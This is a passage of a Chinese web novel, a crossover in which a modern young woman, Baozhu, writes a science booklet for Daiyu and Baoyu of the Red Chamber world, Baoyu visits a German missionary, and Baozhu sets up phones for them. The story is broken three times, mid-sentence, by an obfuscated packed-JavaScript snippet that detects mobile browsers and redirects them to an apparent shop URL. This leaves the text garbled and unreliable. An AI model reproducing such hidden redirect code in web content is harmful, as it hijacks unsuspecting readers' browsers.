了了一个心愿的欧宝珠并不知道她身后发生的事情。她慢悠悠地开车回家,到家时正好遇上文具店的送货小哥。一番折腾,打印机和它的同事们进驻了欧宝珠的书房,在漫画书和游戏机的中间占领了一块不算大的领地。 看着这堪称齐全的设备,宝珠也觉得自己适应性挺强的,这才第三天,她就把红楼世界当成自然而然的存在,还给两个小朋友编起了科普教材。 小时候爸妈闹得那么厉害,她除了刚开始时哭得缩成一团,后来也就习惯了。只要不把她从房间里拉出来骂,她就埋头看书当什么都没听到。以至于他们离婚消失了好几天,她才从爷爷口中知道自己被抛弃的事实。 爷爷看着她叹气,伯妈说她“心大”,邻居说她是“憨娃儿”。这些说不上是褒是贬的评价一直围绕着她,直到读大专时换了环境,才有老师真心夸她“情绪稳定”、“经得住事”。 但无论褒贬,宝珠自己是不太在意的。反正她认为自己能健康成长,这份“心大”或“情绪稳定”功不可没。 将一本本崭新的科普读物摊开,宝珠拿出了考前临时抱佛脚的劲头。以《十万个为什么》作为底本,一点点删改不适当的字句,再结合其它书的内容缝缝补补,宝珠的工作进度缓慢而坚定地前进着。 晚上8点半左右,一本有八、九个章节的科普文档终于成形。再用办公软件的功能一键转换成繁体竖行,检查一下文字,优化一下格式,打印装订,宝黛专属科普小册子新鲜出炉了。 真“新鲜出炉”。这册子上还带着打印机的温热呢。 当个缝补怪都这么难,科普工作真心不好做啊,看着自己大半天的辛苦成果,宝珠深深体会到了教育工作者的不容易。 看着时间快差不多了,宝珠也不再胡思乱想。来到造景箱面前,当时针指向九点,小人们和他们的世界准时出现在宝珠。 然而…… “你们那儿已经过了七天了?”宝珠难以置信。 上次知道红楼世界过了三天她就够吃惊了,结果这次还变成了七天! “可我这边的时间没有变啊!还是隔天的晚上9点。”宝珠喃喃道。 “紫鹃。”黛玉见宝珠吃惊,忙轻唤一声。紫鹃顿时会意,转身拿了电子钟在窗前展示。 2027年5月31日星期日凌晨2点。 电子钟上的数字清晰地展示着事实。 不但红楼世界的间隔翻倍了,而且还不是按天数成倍增长的。现在红楼世界的时间不再如前两次一般是上午,而是换成了午睡后的下午时分。 这完全没有规律可循啊。起码不是她之前预想的那种规律。 “抱歉,这次让你们等久了。对了,宝玉呢,怎么没看到他?” “宝珠姐姐来了就好。又不是姐姐故意,何来抱歉。”黛玉笑道,“宝玉去上学了,他如今在家学里读书,下午散了学才回府。” 紫鹃虽然听不见宝珠的问话,但见黛玉说起宝玉,便忍不住插话,“二爷每次走的时候可舍不得了,回来时也每次要问‘仙子姐姐来了吗?’,‘仙子姐姐什么时候来啊?’,就差没每天板着手指数日子了。” “紫鹃~”黛玉埋怨一声。 紫鹃捂嘴一笑,自觉地拿了张绣到一半的帕子去门外守着,但耳朵却留意着里面的动静。 “宝玉上课学什么啊?”宝珠有些好奇。她熟悉的是电视剧版的红楼梦,原著只草草看过一次,对宝玉上学这段没什么印象。只记得学里乱糟糟的,从老师到学生都不是正经样。 黛玉也摇头不知,“宝玉回来不爱说这个。偶尔只提起家学里的太爷年纪大了,不是十分管束他们。” 听黛玉这么说,宝珠心里大概就有数了。宝玉口里轻描淡写的不十分管束,只怕学堂里实际上已经是乌烟瘴气,那太爷想管也管不动了。 这种学还不如不上。反正宝玉对考取功名也没有兴趣,不如在家里好好…… 宝珠的思路突然接不下去了。 好好玩? 作为生长在二十一世纪的年轻人,虽然本身是个混日子的学渣,但宝珠还真说不出让才十几岁的少年荒废学业好好玩的话。 好好读书? 没人监督引导的少年人能有多少自制力学习?更别说宝玉本身就对经史子集不兴趣缺缺。读书也得有个读书的方向啊! 想到读书,宝珠先把那小册子交给黛玉。 黛玉拿在手里就好奇翻了翻,“这便是宝珠姐姐世界的纸么,和我们常用的纸不太一样,又白又硬,这如何能用笔写字?” “纸不同,笔当然也不同。你先等等,我去拿给你看。”宝珠回身去书房拿了一支签字笔和一叠A4打印纸交给黛玉。“这叫硬笔,笔尖是金属制作,虽然没有毛笔写字那么好看,但日常记录非常方便。” 黛玉好奇地在纸上试了试笔,她用的是毛笔的握笔方法,写出来自然力道不足,字体架构都不成形。黛玉微微红了脸,又在宝珠指点试了几次,她聪慧异常,没一会就能写出端正的字体。虽然与她正常的字迹相比不够清丽娟秀,但也足以让宝珠称赞了。 试完笔,黛玉又翻开起那本小册子。第一篇就是—— “地球?” “这便是仙人眼中的世界?”黛玉翻了几页,惊疑不定。脚下大地是个球体,这样的说法其实并不稀奇,汉朝张衡便已有浑天说,书中认为“浑天如鸡子。天体圆如弹丸,地如鸡子中黄,孤居于天内,天大而地小。” 但这文章中的内容却又远不止浑天说。大地原来不是世界的中心,她们脚下名为“地球”的星星连同烈日皓月都属于一个叫做太阳系的小星系,而太阳系在漫天星辰中也不过是沧海一粟。 “既感叹世界之广阔浩大,又惊觉自身之渺小卑微。”林黛玉合上书册,脸上神情复杂。“真想去看看啊。” 宝珠没想到第一篇科普就让黛玉有这么多感叹。看来“世界这么大,我想去看看”还是真是古今年轻人统一的想法,便宽慰她道,“其实我也没有见过星球之外的世界,但我们可以借别人的眼睛去看。” “借别人的眼?” “先保密,下次我带过来,你就知道了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12983726|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”虽然知道这时黛玉的小脑袋里肯定又多了些神神怪怪的想象,但宝珠还是暂且卖了个关子,准备下次用平板下载些星际遨游的视频来给她一个大震惊。 “宝珠姐姐,你真好~”黛玉眼中顿时多了期盼。 这也太可爱了。谁能承受住来自林妹妹的星星眼啊。 宝珠忍住脸上鬼祟的姨妈笑,赶紧转移话题,“宝玉怎么还没回来?算了,他回来也好,我们正好说些女孩子的私密话。” “姐姐说得对,谁让他迟迟不到呢!”黛玉也笑了起来。 “你们要背着我说些什么?”随着一声少年清朗的笑声,宝玉从门后跳了出来。身后还跟着紫鹃的轻笑声。 原来今天学堂散的早,宝玉早早儿就回来了。他才进府就见到了天上的宝珠,万分欣喜,几乎一路小跑来见仙子姐姐。结果到门口时他却又起了淘气的念头,便不让紫鹃出声,准备悄悄儿地跳出来吓人一跳。 但还不等他准备好,却先听见宝珠姐姐和林妹妹一起嫌弃他,他就忍不住出声了。 “都说了是女孩子的私密话,你还冒出来做什么?”黛玉没好声气。 宝玉先向宝珠乖乖作揖,又向黛玉拱拱手,“好姐姐、好妹妹,就带我一个嘛,别抛下我。” 宝珠顿时失笑,“你都来了,我们还能把你赶出去不成。私密话儿我们下次再说,到时候你可别再来淘气了。” 宝玉见她们不赶自己,自然连连点头,至于下次不淘气什么的根本没有放在心上。 黛玉把手里的书交给宝玉,指点他也看了第一篇。 宝玉却不如黛玉刚才那般惊讶,他兴致勃勃地把那一篇看了好几次,然后一拍书案。“原来如此,原来如此!” 宝玉又说道,“我原也听薛大哥哥说过,西洋番商把脚下大地称作地球,但大伙儿只把这当成笑话,没想到他们却是对的。” 宝珠之前就听宝玉提起过西洋人,这时突然想起一事,便问他道,“宝玉,你知道如何见到这些西洋人吗?” 宝玉笑道,“我虽然没见过,但想要见却也不难。京都里就有几位洋人传教士常住,听说他们的庙子常年开着,随意各色人等出入。宝珠姐姐如果有事,我找个散学早的日子去见见他们就是了。”他知道除了自己和林妹妹没人能见到神仙姐姐,自然就理所当然地把主动任务接了下来。 “那好,那我就托付你一件事……”宝珠嘱咐宝玉一番。 宝玉连连点头,黛玉也帮着他把宝珠说的话一一记下。等宝珠走后,黛玉便把记好的一页纸递给宝玉,“这个给你,你去问的时候别遗漏了,省得耽误宝珠姐姐的事。” 宝玉连连道谢,又拿着这纸、笔新奇地看了半天。“宝珠姐姐总是有这么多新鲜东西,真是有趣。” 第二日宝玉刚到家学,正想着找理由早点溜出去为神仙姐姐办事,却有人传来消息,说是贾瑞病得更重了,太爷无心授业,让他们写过两篇大字就散学。 宝玉顿时大喜,草草写了两篇字胡乱交了差,便带着贴身小厮茗烟一路骑马朝那洋人的庙子去了。 9. 第 9 章 “二爷要拜佛去哪里不成,好好的去找什么番人寺庙?这要是被老爷知道了还不得打断我的腿!”茗烟见劝不住,忍不住低声抱怨。 “你说什么怪话,”宝玉笑着骂他。“那地方是在朝廷挂了号的正经寺庙,有什么去不得的。你只管前面带路,不会让你挨打就是。” 茗烟也是和他闹惯了的,这次不过是显示自己出了力,便嘿嘿一笑依旧带路。 荣国府处在京都的富贵繁华所在,但宝玉要去的这所教堂却几近城郊。两个人不熟悉路,又不敢在街上纵马,花了差不多小半个时辰才到了地方。 “二爷,我们到了。”茗烟眼尖,早早就看见教堂的尖顶。“洋人的庙子真奇怪,在头上插个十字,这不成了插标卖身了。” 宝玉倒没这么联想。他出身富贵,本也没见过什么街边插标卖身的苦命人。但见那正在教堂门口扫地的老头拿眼睛瞟他们,忙用马鞭点了点这多嘴小厮的肩膀,“茗烟,不要胡说!” 二人翻身下马,茗烟先跑上去报上荣国府的名字。那看门的老头有些耳背,刚才其实什么也没有听见,等茗烟大声报了两次话,他才慌忙去了,不多时就带着一个棕发碧眼的中年传教士出来。 “这位是福音堂的严教士。”老头介绍道。 “严教士好。”宝玉礼貌问候。 “公子好,外面天冷,请进里面聊。”严教士也回礼道。他的华语很流利,就是声调有些奇怪,惹得茗烟一阵挤眉弄眼,宝玉只当没有看到。 宝玉跟着严教士走进教堂,这还是他第一次进洋人的寺庙。这教堂并不大,宝玉进门之后便瞧了个通透。与中国传统的寺庙道观相比,这里既清净又空旷,除了一个挂在十字架上受苦的洋人神像外,就只有讲经台和几排长椅。 教堂里的人不多。一个衣着单薄的老妇人坐在长椅第一排低头祈祷着什么。她身后不远边是一个四十多岁的男子,他一脸倦容,正抱着胳膊打盹。角落里还有两三个衣衫褴褛的男子,他们低着头蜷缩在长椅上,看不清面容和年纪。 严教士细细打量宝玉的表情,见这位身份尊贵的少年公子脸上只有好奇,没有鄙夷或不悦,便放心几分。 一路走到教堂后院,这里有一座两层小楼,一楼便是他的会客室兼小书房。书房虽然小,但收拾得很干净,也比空旷的教堂要温暖得多。房间中间只有一张书桌,两把椅子。一侧墙上放着一个书架,上面摆放得满满的书和画卷。 就坐奉茶后,听宝玉说起来意,严教士有些惊讶。“公子想知道西洋诸国的情形?”他来到楚朝也有好几年了,但结识的人不是爱好钟表机括,就是想要从他这里寻些难得的洋货,少有人对欧洲本身好奇的。 宝玉点头笑道,“我久闻西洋与我大楚风俗有异,近日又听了些不知真假的传闻,心里好奇地紧,便冒昧来找您请教。” 严教士温和一笑,“公子请讲,严某自然知无不言。” -------- 宝珠可不知道宝玉这么积极跑去洋人教堂,她美美睡醒后,就开始抱着一本红楼梦读了起来。这是她昨天去购书中心时顺手一起买下的,接触宝黛之后,再来看原著有种莫名的味道。 才看了几页,宝珠就听到门口一阵钥匙响,然后是开门的声音。 “哒哒~”脚步声传来。 宝珠呆呆地向外望去,就看见手里提着好几个大塑料袋的张阿姨。 “宝珠,你干嘛傻愣愣地看着我?”张阿姨一边换鞋,一边看着窝在沙发里对着自己发呆的宝珠,有些纳闷地问。“早餐吃了吗,这个点儿你不会刚起吧?” 宝珠这才如梦初醒。这几天她脑袋里面都是小人们的事情,都忘了今天是张阿姨上工的日子。她梳理了一下乱蓬蓬的头发,笑着道,“吃了的,还吃的是上次张姨给我冻的馄饨,可香了。” “喜欢就好,吃完了张姨下次再给你包点。”张阿姨露出真心的笑容。然后卷起衣袖就干活去了。她每周就来两个半天。本来宝珠让她一周打扫一次房间的,但她觉得只做饭太轻松了,所以还是坚持每次来都要做一次大扫除,再加上还要给宝珠这个宅女做好几天的饭,事情可真不算少。 她先把刚买的食材放进厨房,看见几个空食盒洗得干干净净,堆在台子上,她满意地点点头。打开冰箱,里面冻着的馄饨只剩一点儿,饺子和汤圆却还剩一大半。还是这么挑食,张姨心想,下次过来时记得买点馄饨皮和肉馅了。 见张姨在厨房忙碌,宝珠连忙跑到景观箱旁边。看见一切如常,小人们没有出现,她才松了口气。 幸亏两个世界连通的时间在晚上,要不然她还真不好和张姨解释。而这么大的箱子,藏也不好藏。 不一会,张阿姨就拿着抹布来到客厅准备大扫除。她这才看到餐桌上偌大的造景箱,不禁问道,“宝珠,这是什么啊?这么多小房子还怪精致的。” 宝珠笑道,“这就是张姨上次收的快递啊。这叫做造景箱,里面都是手工做的模型。” 张阿姨绕着景观箱看了一会,啧啧称奇,“这都是手工做的?这也太费功夫了,肯定不便宜吧!” 宝珠嘿嘿笑着没啃声,张阿姨当即心里跟明镜似的。“那就这样放着?你平时吃饭怎么弄?” 宝珠一副无所谓的态度,指了指面前的茶几。 张阿姨看看茶几上那一堆零食,面带无奈。“你们这些年轻人啊。一时讲究得不要不要的,一会又啥也不讲究。算了算了,反正也说不过你们。” 宝珠一听这里面就有故事,“怎么,是刘哥还是二姐惹你生气了?” “我可不敢和她生气!”张阿姨哼了一声,一边擦着家具,一边开始和宝珠抱怨起来。“人家现在是大医生了,我不过是个初中文凭都没有的乡下人,说什么都是错!” 看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12983727|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来是二姐了。宝珠笑道,“医生还不是张姨你培养出来的,惹你生气了照样批评她。” 张阿姨还是好哄的,听宝珠这样说,心情立时明亮了,又开始为女儿说起好话来。“她也没惹我生气。就是让她去谈个男朋友,她老说没时间谈。都快三十的人了,还这么单着,我放心不下啊。” 这个也是张阿姨和女儿的老问题了,基本隔上一段时间就会被提起。 虽然都2027年了,单身这个事儿在很多父母眼中都是大事。尤其是张阿姨这种独自把一双儿女带大的母亲,她还记着自己当时一个女人生活的辛苦,所以总期盼着儿女能够家庭幸福,不论遇到什么事都有一个身边人可以有商有量、相互依靠。 “二姐又不是说不谈,只是现在医院工作确实忙,等过完这段时间就好了。说不定哪一天不等你催,二姐就带着男朋友来看你了。”宝珠只好拿这话劝张阿姨。 “希望这样吧。”张阿姨又说到,“对了,老二这次回来还给你带了两盒那个什么医用面膜。”说完,她又走回厨房,把混在一大堆食材中的面膜袋子找了出来。 “谢谢二姐,谢谢张姨。”宝珠忙感谢。虽然这是个不出名的医用牌子,但她用着感觉却比市场上那些昂贵的面膜还要好得多。这也就是熟人中有从医人员的好处了,很多护肤品还真的是医用品才是真正的真材实料,也不会让人过敏。 宝珠拿出手机,在V信上谢了二姐,顺便把钱付了。但这会大医生显然正忙着呢,迟迟没有回应。宝珠也习惯了,医生忙起来就是这样的,能在红包24小时过期前有反应就不错了。 张阿姨忙了一上午,宝珠就乖乖地坐在沙发上看了一上午的红楼梦。虽然同样是娱乐自己,但在张阿姨这样的老一辈看来,看书可比玩电脑显得有文化和高尚多了。她路过沙发时都轻手轻脚的,生怕打扰了宝珠看书。 等到张阿姨忙完走了,宝珠的V信上才传来一条短信。 “收到就好。下次有需要再找我。”二姐的话总是这么简单明确,连个表情图都没有。 “好的。”宝珠立即回话,还附上一个笑脸。对方却没再说话了。 宝珠留了一个面膜在外面,另一盒放进了卧室。前几次就发现黛玉对现代的面膜感兴趣,刚好可以分一盒给她。 也不知道今天见到她,红楼世界那边的时间是过了多久,希望不会是越来越长吧。还有宝玉那边会不会顺利见到西洋人,那边的时间线又是哪一年。 崇祯十七年大明朝灭亡是公元1644年,而宝玉所说群雄混战打了十几年,大楚统一天下又过了五十八年,这样按说应该是十八世纪初期,也就是171X年左右。也不知道华夏这边的变化有没有影响到遥远的西方。 宝珠觉得自己有点像个猜谜的孩子,虽然信心满满地给出了答案,但心里又没有十足的把握,于是就期盼着即将到来的揭秘时刻。 10. 第 10 章 荣国府,黛玉和宝玉正围着白发苍苍的史老太君。老人家看看这一对乖巧可爱的小儿女,笑得慈祥极了。 “宝玉,你怎么还不去上学?仔细被你爹知道了又骂你。”史老太君虽然喜欢孙儿承欢膝下,但想起他的学业,还是提醒了他一句。 “老太太可别冤枉我,不是我不去上学,实在是学里的老太爷家中有事,放我们几天假。”宝玉嘻嘻哈哈地回答。 史老太君这才放心,又问贾代儒家中何事。宝玉自然知道是贾瑞病了,但他一来讨厌贾瑞为人,二来不想祖母担心,便支吾着糊弄过去。史老太君也不深究,只叮嘱他在家好好温习功课,便把这事放下了。 他们这里说得热闹,鸳鸯却对紫鹃轻轻招手。紫鹃会意,便跟着鸳鸯到一边去了。 黛玉自然也看见了,没当回事,依然听宝玉眉飞色舞地说着那些才从西洋传教士那里听来的新鲜玩意。 “严教士正在做一个可以自己弹琴跳舞的机关小人,现在刚出了草图,据说还要小半年才能做好。我已经和他约好买下,到时正好送给老太太做生辰礼物。” “好、好、好。”见孙子孝顺,史老太君十分开心,但她又叮嘱道。“这些洋人在机巧上确有造诣,我眼见着这些年京中的洋货越来越多,连皇宫里的钟表机括也是由他们调试修理。但到底只是些能工巧匠,敬着他们就是了,可不要交往过深,尤其不要信他们那个什么洋教。” 对严教士印象颇好的宝玉心里不以为然,但表面依然连连点头做乖巧状。“孙儿知道了。” 黛玉看出他皮里阳秋,只是好笑。“外祖母,宝玉知道了。” 史老太君见黛玉为宝玉帮腔,知道这两个小人儿有故事,“你们啊,总是哄我老人家。不过我也年轻淘气过的,不怪你们,等大了你们就知道了。” 宝玉忙又一阵哄。 黛玉却不依,“我从来不淘气,都是最听外祖母话的。” 于是众人都笑了起来。“林姑娘最孝顺了,老太太可别错怪了人。” 史老太君被逗得开怀,反而来哄黛玉。“对对,我的两个玉儿都乖。” 正房中一时俱是笑声融融。过了一会,李纨带着三春也来和老太太请安。探春性子最为活泼,听到宝玉说起在洋人庙里的见识,便叹息道,“真想去看看,可惜我是个女儿身。” 黛玉一时也被勾起些念想。也不知道宝珠姐姐要带给她什么东西,可以借别人的眼来看世界。若真是能让她这个足不出户的女子知天下事、天上事就好了。 等众人散了,宝玉和黛玉从史老太君的正房里出来,又进了黛玉的屋子。 刚进门,黛玉却见之前敞开的窗户被关得严严实实,一时纳闷。“紫鹃,这是怎么了?”自从与宝珠相遇之后,黛玉书桌边的这扇窗户总是敞开着,以免没望见宝珠,白白浪费了时光。 紫鹃当然也是知道这个缘由,所以即便天冷,她也只是把黛玉劝到暖阁里看书,却从来不关窗。 见黛玉发问,紫鹃苦着脸过来,轻声在宝黛两人耳边说道,“刚才鸳鸯姐姐来提醒我,天气冷了,老开着窗怕把姑娘和宝二爷冷病了。” 宝玉皱眉,“又是谁多嘴嚼舌!” 黛玉想了一想,“院子就这么大,也未必是有人传话,鸳鸯姐姐自己看见,好意提醒也是有的。” 宝玉满脸不悦。他却是不知道,他和黛玉这几天时时在一起,又要屏蔽众人,也幸亏是开着窗,才没让人传出些不堪的话出来。 但不论如何,这下窗户是不得不关上了。要不然不但怕鸳鸯多心,也怕连累了紫鹃害她吃挂落。 “要是宝珠姐姐来了怎么办?”宝玉有点犯愁。“我们把窗户关了,她误以为我们不愿意见她怎么办?” “你啊,关心则乱。”黛玉却不是很担心,“宝珠姐姐不是多心的人,她来了自会唤我们。” 宝玉这才放心,两个人又翻了一会宝珠给的书。这几日,他们已经到了后面的自然现象部分。 “风雨雷电,原来如此。”宝玉脸上说不清楚是兴奋,还是失望。“天上既没有雷公电母,也没有风伯雨师。何等寂寞。” 黛玉却笑他,“便是有你也未曾见过,既然如此,有或没有又有什么不同。” 两个人正说着,就听见窗外有人轻声呼唤黛玉的名字。两人对视一眼,宝玉忙跳到书桌旁旁,吱呀一声把窗户打开。 果然宝珠的脸已经出现在了空中。 “你们在啊!”宝珠看见窗户紧闭,还以为两人不在。好在听见了里面隐隐约约有人声,她这才试着喊了几声。 黛玉这时也走了过来,把之前发生的事情告诉宝珠。“” 宝珠这才明白,“这样啊。”她感受不到冷风,也就忽略了红楼世界此时已经入冬,众人都已穿上了厚衣裳。 “我试试看,说不定能解决这个问题。”宝珠这几天本来就有很多关于两个世界连接的想象,此时正好可以试验一下。 她先把已经下载好视频的平板和耳机交给黛玉,让她看看上面的WIFI信号有没有消失。得到确切的答复后,宝珠比了个ok的姿势,“那就好,这个事情就交给我了,下次就能解决。” 先把这个问题放到一旁,宝珠教黛玉如何使用平板观看视频。那里面有自然奇观,也有宇宙浩渺。 黛玉随意选了名字最前列的一个,打开来却是非洲大草原,庞大的象群在无边无际的草原上行进。宝玉站在一旁,眼睛只差没有钻到屏幕里面去。这块黑玉石居然能像传说中的千里眼一般,展现大千世界,实在是太奇妙了。 黛玉又分了一只耳机给他,听到象群呼啸的声音,宝玉越发赞叹。“这不但是千里眼,还有顺风耳。”就是这平板的名字太奇怪了。 “今天就先这样吧。天冷,你们还是关窗保暖,可别真的生病了。这平板可以用几个小时,你们慢慢看。”宝珠见两个人都沉迷在视频中,便笑道。 黛玉这时心思都在视频上,宝珠的提议正中下怀。小姑娘便甜甜和宝珠道别。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12983728|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “宝珠姐姐,再见。” 宝玉却想起前几日宝珠交代的事,忙把整理出来的交谈笔记放在书桌上。“宝珠姐姐,这是我从西洋传教士那里了解到的西洋事,请姐姐看看是否有遗漏。” 宝珠都快忘了这事,便把笔记拿了过来。宝玉记得很仔细,密密麻麻的小楷写了厚厚一叠,还有几页是手绘的图画。 “宝玉,辛苦你了。”宝珠感谢少年的用心。 宝玉忙不迭地摆手,“能为宝珠姐姐分忧,宝玉欢喜不尽,何须感谢。何况严教士博学温厚,我从他那里也学到了很多。” “那就好。”难得见宝玉用“学到很多”这种说法,看来他和那位传教士确实相谈甚欢。 走之前,宝珠才记起惯常的提问,“这次隔了几天?” 黛玉都不用算,直接回复。“宝珠姐姐,这次是五天。” 又是一次不一样的间隔啊。宝珠嘟囔着离开。 等宝珠的身影消失,宝玉忙把窗户关上,拉着黛玉两个人头挨着头凑在一起,看那世界瑰奇,宇宙无垠。 紫鹃也悄悄在平板看了几眼,却只觉得那黑色玉石中五彩斑斓,令人眼花缭乱,便不敢再看。如今她已经是深信那位宝珠不是常人,就不知道是哪座仙山神宫里的仙子,如此神通广大。 宝珠看了看手机,这次是时间最短的一次交谈,只花了不过半小时的时间。时间还好,她便拿起宝玉的笔记看起来。 第一段内容非常简单。对于宝玉的问题,对方给于了非常明确的回答,红楼世界的公元纪年是1718年,正处在宝珠的猜想范围之内。 但后面的内容宝珠就看得有些吃力了。这不单是繁体字和竖行写的问题,那些奇怪的西洋名词也让她看着费劲。这就有点像看中学课本上的古代选文,配合着备注还能勉强读懂,啥都没有就费劲了。 好在如今虽然没有备注和老师,却有万能的网络。宝珠忙打开电脑,每当遇到不懂的,像个找答案的小学生一样搜索起来。 原来福朗思牙是指法国,以西你亚是西班牙,布路斯则是德国未统一前的普鲁士。而英国和葡萄牙是最好猜的,一个英咭利,和现代称呼差不多,一个拂朗机,常在各种明清穿越文中看到。 宝珠一点点看下去。这个传教士本身来自德国,对欧洲了解颇深,甚至还给宝玉手绘了一张简单的欧洲地图。宝珠翻看网络上的记载,发现除了比例尺的问题导致形状大小有出入,红楼世界的欧洲格局和现实世界十七世纪的欧洲没有什么不同。 看来清朝的消失和大楚的建立并没有影响到万里之外的欧洲发展。葡萄牙人已经成功环游了世界,而西班牙人依旧发现了新大陆。 宝玉前面记载的多是宝珠让他问的欧洲诸国情况,但后面便渐渐多了些其他内容。应该是宝玉出于自身兴趣和那个传教士的谈话。 居然问对方在海边时看见远方船舶,是先见到船帆还是船身?看来宝玉是真的把自己科普小册子上的内容记在心里了,而且还很有实证的精神。 11. 第 11 章 宝珠一页页地认真看完,却在最后一页的末尾发现了一行不一样的字迹。宝玉问那位出身普鲁士贵族的严教士为什么要远渡重洋,来到万里之遥、语言不通、风俗迥异的华夏。 严教士的回答很简单,没有宝珠以为的弘誓大愿。“吾所愿也,不畏辛苦。” 而在这个回答之下,一行娟秀的小字墨迹犹新。“何等有幸,明其志而行之。” 这是黛玉的字迹。虽然没什么依据,但宝珠对自己的判断十分肯定。 何等有幸…… 黛玉是在称赞那个未曾谋面的严教士,还是在暗暗地羡慕他?如果是后者的话,才十一二岁的小姑娘就已经开始思考人生志向这种大事了吗? 她本以为自己给了黛玉一个有着外界视频的平板,就能让小姑娘高兴满意了。可现在看到这句话,她又犹豫了,黛玉真的会为那些视频满足吗,还是在欣喜之后更加向往外面的世界。 这不是给小姑娘平白增添烦恼吗?黛玉可是娇养的公侯小姐,就算史老太君的教育再宽松,也不可能让她出门去看世界。 宝珠越想越头疼,干脆不想了,再次祭出睡觉大法。可她在床上翻来覆去地睡不着,只好又把红楼梦翻了出来,一直看到凌晨两三点才朦胧入睡。 早上醒来,好好一本新书已经被她压得伤痕累累。沐浴在阳光下,宝珠也忘了昨天晚上那些无谓的担心,开始着手准备起与宝黛联系的工具来。 她的想法很简单,既然红楼世界里能收到WIFI信号,那当面联络就不是唯一的途径。给黛玉准备一个电子设备,那视频、通话、语聊什么的都可以用了。 也是家里的无线网络够给力,要不然其他的法子还真没有这么方便。虽然不能理解这其中的传播距离和功效是怎么算的,但宝珠是个实用主义者,能用就行,不求甚解。 小区附近就有一家菊华手机店,宝珠直接过去买了两个老人款的新手机和效果最好的耳机。考虑到充电的问题,宝珠还买了最新的太阳能充电器。这一通操作把柜台妹妹都看愣了。 这耳机和充电器加起来都快比手机贵了。 而且太阳能充电器一般都是喜欢野营的年轻人买的。老人款手机的功能简单、耗电低,续航一两天没有问题,根本用不着白天充电。这搭配有点奇怪啊。 柜台妹妹好心地提醒了一句,见宝珠没有要改主意的意思便不再劝了。毕竟买家最大,多卖出一样她也多份业绩,尽心了就行。 宝珠也知道柜台妹妹的好意,又在她手里开了两张电话卡和花费套餐。刷卡消费,宝珠提着一堆印着菊花纹的手提袋刚要出门,却又在架子上看到一个有竹子花纹的手机壳,觉得和黛玉潇湘妃子的名号很称,便心动了。为了不显得偏心,她又挑了一个以大海为背景的手机壳准备送给宝玉。 她真的是一个一碗水端平的好姐姐。 总之,这一上午宝珠的时间都花在买买买上面了。而回家后的宝珠也没能清闲,她还得为两个小家伙调整手机功能。 没得说,第一件事是把两个手机都调整成青少年模式,去掉花里胡哨的的功能,桌面只保留宝珠认为需要的功能,比如计算器、拍照和记事本等。 然后才是安装和注册新的V信号。昵称、头像都是系统默认的,留着黛玉和宝玉自己改。V信注册登录后,宝珠犹豫了一下,但还是把两张手机卡都抽了出来。反正只要有WIFI就能用V信,手机卡有没有都无所谓。 虽然折腾了半天,手机功能被大大阉割,但这总比小天才电话手表好吧。还别说,宝玉和黛玉现在的年龄还真适合戴那个。 宝珠想象着一个怡红公子、一个潇湘妃子,手腕一抬却露出粉红、粉蓝的小天才电话手表。 “哈哈哈~~” 这想象中的情景立刻让宝珠笑得前仰后合,乐不可支。 不行,不行,不能这么破坏他们的形象。宝珠深刻反省,然而嘴角笑容却好半天都无法压下。 --------- 自从那天在宝镜上看到了从未见过的世界,黛玉这几天都有点神色恍惚。平板电脑放了几个小时视频后,早就没电关闭了。但黛玉却还是把这块黑玉一般的宝镜放在自己的枕畔,时时抚摸着光滑冰凉的屏幕,回想着那些神奇的画面。 真想亲眼去看看啊。 茂盛的森林、广阔的草原、蔚蓝的大海,还有那瑰丽灿烂的宇宙星辰。 但黛玉也知道这是不可能的。能遇见宝珠姐姐这样的神仙人物,已经是她这样的闺阁女子最大的幸运了。如探春那样,虽然心胸不弱于男儿,但却连如自己这样通过宝镜看世界的机会都没有。 也不知道宝玉日后会不会机会去见识这些。他毕竟是男儿,不比女子被困在家里。 想着想着,黛玉一时期盼宝玉能出去见识,回来后告诉自己天下之大。一时又想着他只顾自己逍遥,把一起长大的姐姐妹妹都抛在脑后。思来想去,又恨自己女儿身,百年不得自由。 宝玉过来时,她便忍不住把想象当成了真,对他挑三拣四。好在宝玉是做低伏小惯了的,也不以为意,依旧好言好语和黛玉说话,反弄得黛玉不好意思了。 又过了几天,天气越发冷了。黛玉把宝珠送给她的电子钟悄悄放在屋外,不多时那上面的温度就降到了零度以下,慌忙又收了回来,生怕把这精巧的小物件儿冻坏了。 天也阴沉沉的,开始漂雪珠子。屋子里黑洞洞的跟天黑一样。 紫鹃让人把炕烧得暖暖的,生怕黛玉感了风寒生病。因天色阴沉,又在暖阁里点了蜡烛,方便她看书,自已也坐在旁边捻针做活。 